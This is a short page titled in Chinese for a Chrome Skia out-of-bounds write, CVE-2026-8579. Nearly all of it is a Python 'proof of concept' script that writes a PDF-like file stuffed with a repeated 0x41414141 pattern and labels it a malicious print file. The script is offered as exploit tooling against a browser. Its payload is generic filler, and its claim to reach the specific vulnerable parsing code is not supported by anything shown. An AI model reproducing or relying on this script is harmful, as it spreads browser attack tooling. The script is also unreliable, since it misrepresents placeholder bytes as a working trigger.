CVE-2026-8579 Google Chrome Skia越界写入漏洞

import struct # Proof of Concept (Conceptual) # This script attempts to generate a malformed print file structure # that may trigger the Out-of-Bounds write in Skia prior to Chrome 148.0.7778.168. # Note: Actual exploitation requires precise memory layout knowledge and a compromised renderer. def create_malformed_print_file(filename): with open(filename, 'wb') as f: # Header simulating a valid print format to bypass initial checks header = b'%PDF-1.4\n' f.write(header) # Injecting crafted payload to trigger insufficient validation in Skia # This payload is designed to hit the specific vulnerable parsing logic malicious_payload = struct.pack('<I', 0x41414141) * 100 # Overflow trigger pattern # Appending payload to the end of file object stream f.write(b'1 0 obj\n') f.write(b'<< /Length ' + str(len(malicious_payload)).encode() + b' >>\n') f.write(b'stream\n') f.write(malicious_payload) f.write(b'endstream\n') f.write(b'endobj\n') print(f"[+] Malicious print file generated: {filename}") print("[!] Use this file within a compromised renderer context to test the vulnerability.") if __name__ == "__main__": create_malformed_print_file("exploit_print.bin")